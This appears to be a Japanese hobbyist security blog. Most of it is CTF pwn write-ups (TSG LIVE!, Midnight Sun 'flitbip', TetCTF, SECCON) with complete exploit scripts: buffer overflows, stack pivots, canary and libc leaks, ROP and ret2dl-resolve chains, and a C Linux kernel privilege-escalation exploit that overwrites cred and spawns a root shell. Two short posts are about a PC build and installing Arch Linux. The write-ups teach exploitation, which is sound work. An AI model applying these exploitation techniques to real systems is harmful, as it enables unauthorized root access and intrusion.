<TSG LIVE! 8 CTF> 解いてみた
はじめに
最近全然遊べていなかったのですが、今日はちょっと落ち着いたので、リハビリがてらpwnを数問やりました。
今回取り組んだのは、昨日(5月14日)、TSGの五月祭企画の一環として開催されていたTSG LIVE! 8 CTFで出題されたbpxover、bpxor、bpmovです。
問題はこちらにあります。
github.com
bpxover
scanf()
で受け取る文字数を制限していないのでbofを利用できます。
その下に何か書いてありますが、これは次の問題でポイントになります。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'chall.live.ctf.tsg.ne.jp' PORT = 30006 binf = ELF(bin_file) def attack(io): io.sendline(b'a' * 0x28 + p64(binf.sym.win)) def main(): # io = process(bin_file) io = remote(HOST, PORT) attack(io) # gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
bpxor
ソースコードの20行目から22行目では、変数x
の値とrbp
の値とのxorを計算し、結果をrbp
にセットしています。x
の値はscanf()
入力で指定できるので、rbp
の値も間接的にいじれます。
今回は、buf
に十数バイト好きに書き込めるので、main関数の最後のleave命令を利用して、ここら辺にstack pivotします。仕組みは、leave命令がmov rsp, rbp;
をしてpop rbp
するような命令であることを考えるとわかると思います。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'chall.live.ctf.tsg.ne.jp' PORT = 30007 binf = ELF(bin_file) def attack(io): payload = b'32' payload += b'a' * 6 payload += p64(binf.sym.win) io.sendlineafter(':)', payload) def main(): # io = process(bin_file) io = remote(HOST, PORT) attack(io) # gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
spmov
この問題は30分くらい考えたのですが解けなかったので、こちらのwriteup*1を参考にしました。
少し詳しく書くと、
① stop_a_little()
に入る時にrand@got
にリターンアドレスmain+236
がセットされる。
② stop_a_little()
内でrand@plt
に移り、その中でrand@got
にセットされているアドレスにジャンプ。
③ その後2回目のread()
に入るが、この時第2引数はprintf@got
なので、win()
のアドレスを書き込めばOK。
という感じになると思います。
よくできてるなあー(感心)
rsp
をいろんなとこに動かしてみるもprintf()
でセグフォが起きて詰まっていました。ざんねん!
おわりに
寝ます。おやすみなさい!
<Midnight Sun CTF 2018 Finals> flitbip
はじめに
ずっとカーネル問をやりたいと思っていたのですが、なかなかpwnの練習時間がとれず、標準的なユーザーランドの問題すらままならない状態だったので、手を出せていませんでした。
でも人間いつ死んでしまうか分からないので、カーネルpwnにも早めに手を出すことにしました。
ということで、カーネル問の中でもかなり簡単そうだったflitbipという問題を解いてみました。まだあまり理解できていないので記事にはしないつもりだったのですが、他にネタがないので書きます。
問題ファイルなど
github.com
flitbip
準備
問題を解いていくにあたって、①カーネルイメージの展開や、②ファイルシステムの展開・圧縮をするシェルスクリプトを用意しておくと便利です。実際に使ったスクリプトは、参考ページの1に載っているものを少し変えただけなので割愛します。
①の作業はgdbでデバッグする時に行います。run.sh
に-s
を追加することで、QEMUは1234番のポートにてgdbからの接続を待機するようになります。そして、gdbの方でカーネルイメージから展開されたvmlinux
を読み込み、target remote localhost:1234
と打つと接続できます。
②の作業はデバッグのためにrootでログインする時などに行います。rootでログインするには、(当該環境がSysVinitを使っている場合)/etc/inittab
などを編集する必要があります。今回は/init
のsetuidgid 1000
の部分を、setuidgid 0
に書き換えます。
次に、セキュリティ機構をチェックします。run.sh
を見れば分かるようにkASLR
、SMEP
、SMAP
及びKPTI
は無効なので、これらを特に気にする必要はありません。*1
攻撃(メイン)
下のようにflitbipというシステムコールが追加されており、これに脆弱性があります。
// flitbip.c #include <linux/kernel.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/syscalls.h> #define MAXFLIT 1 #ifndef __NR_FLITBIP #define FLITBIP 333 #endif long flit_count = 0; EXPORT_SYMBOL(flit_count); SYSCALL_DEFINE2(flitbip, long *, addr, long, bit) { if (flit_count >= MAXFLIT) { printk(KERN_INFO "flitbip: sorry :/\n"); return -EPERM; } *addr ^= (1ULL << (bit)); flit_count++; return 0; }
任意のアドレスのビットを反転させることができますが、18行目のチェックにより、この作業は一回までしか行えません。しかし、flit_count
は符号付なので、その適当なビットを反転させて値をマイナスにすることができ、これによって回数制限を回避できます。
次に、flitbipの機能を利用してリターンアドレスを書き換えます。今回のようにAAWができるときには、n_tty_ops
という関数テーブルを書き換えるといいらしいです。*2n_tty_ops
は下のように定義されています。*3
https://elixir.bootlin.com/linux/v4.17/source/drivers/tty/n_tty.c#L2445
static struct tty_ldisc_ops n_tty_ops = { .magic = TTY_LDISC_MAGIC, .name = "n_tty", .open = n_tty_open, .close = n_tty_close, .flush_buffer = n_tty_flush_buffer, .read = n_tty_read, .write = n_tty_write, .ioctl = n_tty_ioctl, .set_termios = n_tty_set_termios, .poll = n_tty_poll, .receive_buf = n_tty_receive_buf, .write_wakeup = n_tty_write_wakeup, .receive_buf2 = n_tty_receive_buf2, };
今回は、n_tty_read
のアドレスを、権限を昇格する関数のアドレスに書き換え、scanf()
を呼ぶことでそちらに処理が移るようにしました。
それでは、権限を昇格する方法を考えます。他のWriteupを見るに、task_struct
の中にあるcred
という構造体を書き換えるとよいみたいです。これらは下のように定義されています。
task_struct: https://elixir.bootlin.com/linux/v4.17/source/include/linux/sched.h#L592
struct task_struct { // ... /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; // ... }
cred: https://elixir.bootlin.com/linux/v4.17/source/include/linux/cred.h#L111
struct cred { atomic_t usage; kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ // ... }
3~8行目の諸々のIDを0に書き換えると、rootをとることができます。
その時に実行しているプロセスのtask_struct
のアドレスは、current_task
というグローバル変数に格納されているらしいです。実際に確認してみます。
current_task
のアドレスは0xffffffff8182e040
で、task_struct
は0xffff88000773a000
にあります。
task_struct
の0x3c0上位のアドレスにcred
があります。
攻撃(その他)
こうして攻撃の方針は大体決まったわけですが、まだ問題が残っています。それは、flitbipシステムコールを利用してからプログラムはカーネルランドで動いているため、シェルを開く処理を実行できないという問題です。
ユーザーランドに戻るためには、sysretq
命令やiretq
命令を実行する必要があります。今回は後者を使いました。
iretq
は、スタック上の値をRIP
、CS
、RFLAGS
、RSP
、SS
に順にセットして元のプログラムに戻る命令です。詳しくは参考ページの7を参照してください。したがって、flitbipシステムコールを実行する前にこれらのレジスタの値を保存しておき、最後にそれらの値をスタック上にpushしていけば適当な状態でiretq
命令を実行できます。
ただし、このままではカーネルのスタックをそのまま使い続けることになってしまうので、上の処理を行う前にRSP
も適切な値にセットしてやる必要があります。そのためにはswapgs
命令を先に実行する必要があるようです。正直これについてはよくわかりませんでしたが、カーネルモードのGS
の値とユーザーモードのGS
の値を切り替える命令で、ユーザーのスタックポインタをロードできるようになるらしいです。
全体の流れをまとめると、下のようになります。
レジスタの値を保存 → flitbipの回数制限を解除 → n_tty_ops
を書き換える → scanf()
を呼ぶ → n_tty_ops
を書き直す → cred
を書き換える → 最初に保存したレジスタの値をセットしてからiretq
命令を実行 → シェルを開く
exploitはこんな感じ(参考ページの1, 3, 4を参考にしました)
// exploit.c #include <stdio.h> #include <stdio.h> #include <stdlib.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(void) { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } long flitbip(long* addr, long bit) { __asm__( ".intel_syntax noprefix;" "mov rax, 333;" "syscall;" ".att_syntax;" ); } void get_shell(void) { puts("[*] Returned to userland"); system("/bin/sh"); } unsigned long* current_task = 0xffffffff8182e040; unsigned long* n_tty_ops = 0xffffffff8183e320; unsigned long* n_tty_read = 0xffffffff810c8510; unsigned long user_rip = (unsigned long)get_shell; void get_root(void) { *(unsigned long*)(n_tty_ops+0x30) = (unsigned long)n_tty_read; int* cred = *(unsigned long*)(*current_task + 0x3c0); for (int i = 1; i < 7; i++) cred[i] = 0; __asm__( ".intel_syntax noprefix;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } unsigned long* flip_count = 0xffffffff818f4f78; int main(void) { save_state(); flitbip(flip_count, 63); puts("[*] Overwrote flip_count"); unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read; for (unsigned long i = 0; i < 64; i++) { if (val & (1ULL << (i))) flitbip((char*)n_tty_ops + 0x30 , i); } puts("[*] Overwrote n_tty_ops"); char buf[0x200]; // trigger scanf("%c", buf); puts("[!] Should never be reached"); }
おわりに
この問題はカーネル問のなかではbaby問らしいのですが、普通に難しかったです。Cでエクスプロイトを書いたのは初めてで、結構人のコードに頼ってしまいましたが、いつかは自力で書ききれるようになりたいです。
参考ページ
1. https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
基礎的なkernel exploitの流れが書いてあります。
2.https://github.com/smallkirby/kernelpwn
kernel問の様々な情報が載っています。本問はここから見つけました。
3.https://hama.hatenadiary.jp/entry/2018/12/19/233626
本問のWriteupです。
4.https://smallkirby.hatenablog.com/entry/2021/02/14/142626
本問のWriteupです。
5.https://www.linusakesson.net/programming/tty/
最初の方にN_TTYについての説明があります。
6.https://qiita.com/sxarp/items/aff43dd83b0da69b92ce
システムコールの前後の処理について参考にしました。
7.https://os.phil-opp.com/returning-from-exceptions/
iretq命令についての説明が載っています。
8.https://ja.wikipedia.org/wiki/X64
swapgs命令の部分を参考にしました。
最近の出来事②
ディストロの入れ替え
前回の記事で書いたように新調したデスクトップPCにWindowsを入れたので、元々Windowsが入っていたノートPCにはUbuntuを入れました。CTFで使ってきたからか、実家のような安心感がありました!
ですが、謎に重かったり、自分好みのデザインにカスタマイズするのに(能力的に)限界があったりしたため、だんだんとディストロ変えたい欲が高まっていました。
そういう訳で、シンプルでカスタマイズし易い環境を求めて、またテスト勉強からの逃避も兼ねてArch Linuxをインストールしました。
まだあまり使っていないので何とも言えませんが、やっぱり理想の環境を作り易いのはうれしいですね。あと公式Wikiが非常に充実しているのも👍
ちなみにsystemdのログに謎のerrorが出ているのですが、そんなにヤバくなさそうなので放置してます。(おい)
ブログのデザイン
ブログのデザインを変更しました!
これまでは、テーマストアにあったNavyDarkCodeというテーマを使っていました。このテーマはソースコードを載せるのに便利で気に入っていたのですが、やっぱり自分のテーマが欲しかったので作りました。
配色はVSCodeのNight Owlをベースにしています。
ただ、正直CSSがよくわかっていないまま作ったので、表示がおかしくなっているかもしれません。もしおかしい所があったらコメントとかで教えてください!
最近の出来事①
はじめに
「最近の出来事」といっても去年の末のことですが、PCパーツを買ってもらって、デスクトップPCを組み立てました。
構成は下のようになりました。
CPUクーラー:虎徹 MarkII SCKTT-2000
メモリ:crucial CT2K8G4DFRA32A(8GB2枚組)
SSD:CFD PG3VNF CSSD-M2B5GPG3VNF
電源:MWE 450 Bronze-V2 MPE-4501-ACAAB-JP
<TetCTF 2022> NewBie (Pwn)
はじめに
1 月 1 日の 9 時から 2 日間行われていた TetCTF 2022 を覗きました。
出題されていた Pwn 5 題のうち、NewBie が解けそうだったのでやってみましたが、途中で諦めてしまいました。
でも、昨日こちらの Writeup *1を参考にしながら解いたので、ちょっとだけ説明を載せておきます。
NewBie ( PWNABLE / 100 pt )
問題バイナリと libc が配布されました。
$ checksec chall [*] '/home/hasuke/tet/newbie/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.'
実行すると入力を受け付けてくれて、まずここで BOF を起こせますが、SSP と PIE が有効なので、canary や libc のベースアドレスを求める必要があります(今回はバイナリのベースアドレスを求めなくても解けます)。
$ ./chall SECRET KEY GENERATOR > a Incorrect Syntax > id 1 > create Your key: joahydV23D62xJxSmpr9INT1mbovjEJG > quit $
上のように、id を指定して create と入力すると、何やら key が返されます。
これは、id によって指定された、スタック上の特定の 2 バイトの値を seed 値として下のような仕組みで生成されたものです。
srand(value); for (i = 0; i < 0x20; i = i + 1) { random = rand(); key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[random % 0x3e]; } printf("Your key: %s\n", key);
したがって、リークしたいアドレスに対応する id を指定して、生成された key から元の値を推測できます(必要な id を調べるのは簡単なので、説明は省略します)。
key の生成の再現には、ctypes というライブラリを使うのが簡単みたいです。
exploit は下のようになります(0x0000 と 0x0001 とに対応する key がなぜか被ってしまったため調整してあります。ミスを見つけたら教えてください。)。
#!/usr/bin/env python3 from pwn import * import ctypes bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = '18.191.117.63' PORT = 31337 binf = ELF(bin_file) libc = ELF('./libc.so.6') chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' keys = {} ### バイナリの動きを再現して、keyの辞書を作る ### def prepare(): loaded_lib = ctypes.cdll.LoadLibrary('./libc.so.6') for i in range(0x10000): loaded_lib.srand(i) key = '' for j in range(0x20): key += chars[loaded_lib.rand() % 0x3e] if i == 1: continue keys[key] = i def leak(io, offset): io.sendlineafter('>', 'id ' + str(offset)) io.sendlineafter('>', 'create') io.recvuntil('key: ') key = io.recv(32).decode() return keys[key] def attack(io, **kwargs): base_off = 73 canary_off = 49 onegads = [0x4f3d5, 0x4f432, 0x10a41c] ### libcのベースアドレスを計算 ### leaked_addr = 0 # __libc_start_main + 231 for i in range(4): leaked_addr += leak(io, base_off + i) << (16 * i) libc.address = leaked_addr - 231 - libc.sym.__libc_start_main info('libc_base : 0x{:08x}'.format(libc.address)) ### canaryをleak ### canary = 0 for i in range(4): canary += leak(io, canary_off + i) << (16 * i) info('canary : 0x{:08x}'.format(canary)) ### 仕上げ ### addr_onegad = libc.address + onegads[0] payload = b'a' * 88 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(addr_onegad) io.sendlineafter('>', payload) io.sendlineafter('>', 'quit') def main(): io = process(bin_file) #io = remote(HOST, PORT) prepare() attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
問題における乱数の生成を再現しようとする際に、c のコードを書いてその出力結果を利用する方法しか知らず、実装が面倒くさくなって諦めてしまいました😢
libc をロードするという手段を知ることができてよかったです。
TSG LIVE! 7 ライブCTF の振り返り
この記事は、TSG Advent Calendar 2021 の 22 日目のエントリです。
前回は platypus さんの「音楽ゲーム「BMS」の新しい実力推定手法の考案」でした。クオリティが高くてビックリしました😲
はじめに
11 月 22 日(月)、駒場祭企画として TSG LIVE! 7 が開催されました。その中のライブ CTF という企画に Red チームとして参加したので、取り組んだ問題の説明や感想を書こうと思います。
9 月頃にあったイワシイラ*1さん主催の Pwn 初心者分科会に参加しており、( mikanami*2 さんと一緒に)そのつてで参戦することになりました。
分科会が終わった後は CTF をサボっててヤバかったので、1 ヶ月くらい前から pwnable.xyz や picoCTF や skbctf の問題をちょっとずつ解いて練習してました。
問題ファイルや公式 Writeup↓
github.com
PWELCOME (Pwn / 200 pt)
説明
$ checksec chall [*] '/home/vagrant/Live/pwelcome/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
win()
を呼べば、シェルが開けます。
名前の長さがここでチェックされます。
if (size + 8 > BUFSIZE) { puts("too long. sorry"); return 0; }
BUFSIZE > 0 のチェックがないので、-1 を入力することで BOF を起こせます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '' #PORT = binf = ELF(bin_file) def attack(io, **kwargs): io.sendlineafter('>', '-1') io.sendlineafter('>', b'a' * 0x28 + p64(binf.sym.win)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
BF Sandbox (Pwn / 400 pt)
こちらは時間内に解けなかったのですが、競技終了後に公式 Writeup(リンクは上にあるよ)や pwnyaa さんの Writeup*3 を参考にして解いたので、説明を記しておきます。
説明
$ checksec chall [*] '/home/vagrant/Live/bf/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Brainfuck のインタプリタらしい。この問題でもwin()
を呼べばおわりです。
bf では、データポインタ(カーソル)の値や、それが指す値を増減させたり、入出力したりすることができます。
この問題では、カーソルは、calloc()
で確保されたチャンクmem
の範囲内を動くと想定されています。ですが、実際にその範囲にあるかどうかのチェックはされてないので、カーソルがチャンクからはみ出してもメモリの値をいじれます。
gdb でmem
の近くを探ってみます。
// main() 内 inst_handlers = calloc(sizeof(void*), 256); mem = calloc(sizeof(char), NMEM); code = calloc(sizeof(char), NCODE); table = calloc(sizeof(int), NCODE);
gdb-peda$ x/4g 0x555555558020 0x555555558020 <mem>: 0x0000555555559ab0 0x000055555555bad0 0x555555558030 <inst_handlers>: 0x00005555555592a0 0x000055555555aac0 gdb-peda$ x/4g 0x555555558028 0x555555558028 <table>: 0x000055555555bad0 0x00005555555592a0 0x555555558038 <code>: 0x000055555555aac0 0x0000000000000000
inst_handlers
がmem
のすぐ下位にあります。これはinit_table()
で作られた関数テーブルで、interp()
で下のように使われます。
void interp() { int ip = 0; int head = 0; while (ip < len) { inst_handlers[code[ip]](&ip, &head); } }
inst_handlers
に格納されている関数のアドレスを書き換えるのが簡単&有力っぽいです(PIE ですが、オフセットからアドレスの差を計算し、その分だけ加減するので問題ありません)。
' [ ' と ' ] ' をセットにしないと parse する段階で exit してしまうことに注意。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '' #PORT = binf = ELF(bin_file) def attack(io, **kwargs): mem_top = 0x555555559ab0 addr_handler = 0x5555555592a0 + ord('[') * 8 # inst_handlers['['] diff = mem_top - addr_handler exploit = '<' * diff exploit += '-' * 33 exploit += '[]' io.sendline(exploit) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
とても緊張しましたが、思ってたよりゆるい雰囲気で楽しかったです。いい経験になりました。
次回の TSG LIVE ! はハイブリッド(オンライン&オフライン)でやるのかな?だとしたら楽しみですね。
明日はふぁぼんさんの「ライブコードゴルフ大会開催記」です。ライブコードゴルフでも esolang が何個か登場しており、観ていて面白かったです。
*1:今回のライブ CTF の責任者をされてた(感謝)
*2:rev 問の first blood をキメてた人(すごい)
*3:https://ptr-yudai.hatenablog.com/entry/2021/11/22/214729#pwn-BF-sandbox
<SECCON CTF 2021> Writeup
はじめに
12 月 11 日(土)14 : 00 から 24 時間行われていた SECCON CTF 2021 にチーム TSG で参加しました。
僕は Average Calculator を解いて、129 pt だけ入れられました。また、点は入りませんでしたが kasu bof も解いたので、その解答も載せておきます。
Average Calculator (Pwn)
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { long long n, i; long long A[16]; long long sum, average; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("n: "); if (scanf("%lld", &n)!=1) exit(0); for (i=0; i<n; i++) { printf("A[%lld]: ", i); if (scanf("%lld", &A[i])!=1) exit(0); // prevent integer overflow in summation if (A[i]<-123456789LL || 123456789LL<A[i]) { printf("too large\n"); exit(0); } } sum = 0; for (i=0; i<n; i++) sum += A[i]; average = (sum+n/2)/n; printf("Average = %lld\n", average); }
$ checksec chall [*] '/home/vagrant/SECCON/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'.'
n < 17 のチェックがされていませんが、普通に入れても A[17] 以降が入力できません。
$ ./chall n: 20 A[0]: 1 A[1]: 1 (snip . . .) A[14]: 1 A[15]: 1 A[16]: 1 Average = 1
ループ処理の部分がこんな感じ。
0x00000000004012b5 <+319>: add QWORD PTR [rbp-0x8],0x1 0x00000000004012ba <+324>: mov rax,QWORD PTR [rbp-0x20] 0x00000000004012be <+328>: cmp QWORD PTR [rbp-0x8],rax 0x00000000004012c2 <+332>: jl 0x40122a <main+180>
RBP - 0x20、RBP - 0x8 にそれぞれ n、i の値が入っていて、さらにそれぞれ A[16]、A[19] に対応するので、そこに入れる値を調整して、A[17] 以降も弾かれないようにします。
これでリターンアドレスを書き換えられますが、A [ i ] < 0x75bcd15 の制約があるので、配列 A に system( ) や one gadget のアドレスを入力できません。
そこで、scanf()
を呼んで、直接printf()
の GOT アドレスを書き換えます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'average.quals.seccon.jp' PORT = 1234 binf = ELF(bin_file) libc = ELF('./libc.so.6') def send_values(io, n): for i in range(20): io.sendlineafter(':', str(n)) io.sendlineafter(':', '19') io.sendlineafter(':', '20') def attack(io, **kwargs): pop_rdi = 0x4013a3 pop_rsi_r15 = 0x4013a1 addr_ret = 0x4013c4 addr_ll = 0x402008 send_values(io, 25) io.sendlineafter(':', str(pop_rdi)) io.sendlineafter(':', str(binf.got.puts)) io.sendlineafter(':', str(binf.plt.puts)) io.sendlineafter(':', str(binf.sym._start)) io.recvline() leak = unpack(io.recv(6), 'all') libc.address = leak - libc.sym.puts info('libc_base = 0x{:08x}'.format(libc.address)) onegad = [0xdf54c, 0xdf54f, 0xdf552] addr_onegad = libc.address + onegad[1] send_values(io, 29) io.sendlineafter(':', str(pop_rdi)) io.sendlineafter(':', str(addr_ll)) io.sendlineafter(':', str(pop_rsi_r15)) io.sendlineafter(':', str(binf.got.printf)) io.sendlineafter(':', str(0)) io.sendlineafter(':', str(binf.plt.__isoc99_scanf)) io.sendlineafter(':', str(addr_ret)) io.sendlineafter(':', str(binf.plt.printf)) io.recvline() io.sendline(str(addr_onegad)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
kasu bof (Pwn)
// main.c #include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
問題文によると、return-to-dl-resolve というテクニックを使うらしいです。ももいろテクノロジー*1、こちらのページ*2、こちらのスライド*3を参考にしました。
答えだけ載せます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'i386') HOST = 'hiyoko.quals.seccon.jp' PORT = 9001 binf = ELF(bin_file) def attack(io, **kwargs): addr_base_stage = binf.bss() + 0x800 addr_rel = addr_base_stage + 0x14 addr_sym = addr_rel + 8 addr_plt = 0x8049030 addr_relplt = 0x80482d8 addr_dynsym = 0x804820c addr_dynstr = 0x804825c rel_offset = addr_rel - addr_relplt align = 0x10 - ((addr_sym-addr_dynsym) % 0x10) addr_sym += align r_info = (((addr_sym - addr_dynsym) // 0x10) << 8) | 7 addr_symstr = addr_sym + 0x10 st_name = addr_symstr - addr_dynstr addr_arg = addr_symstr + 7 base_stage = b'a' * 4 base_stage += p32(addr_plt) base_stage += p32(rel_offset) base_stage += b'a' * 4 base_stage += p32(addr_arg) rel = p32(binf.got.gets) rel += p32(r_info) rel += b'a' * align sym = p32(st_name) sym += p32(0) sym += p32(0) sym += p32(0x12) rop = ROP(binf) rop.gets(addr_base_stage) rop.gets(addr_rel) rop.gets(addr_sym) rop.gets(addr_symstr) rop.gets(addr_arg) rop.raw(rop.ebp) rop.raw(addr_base_stage) rop.raw(rop.leave) exploit = b'a' * 0x88 + rop.chain() io.sendline(exploit) io.sendline(base_stage) io.sendline(rel) io.sendline(sym) io.sendline(b'system\x00') io.sendline(b'/bin/sh\x00') def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
チーム戦の雰囲気を知ることができてよかったです。
あと CTF 可視化エンジンの AMATERAS千がすごかったです(小並)。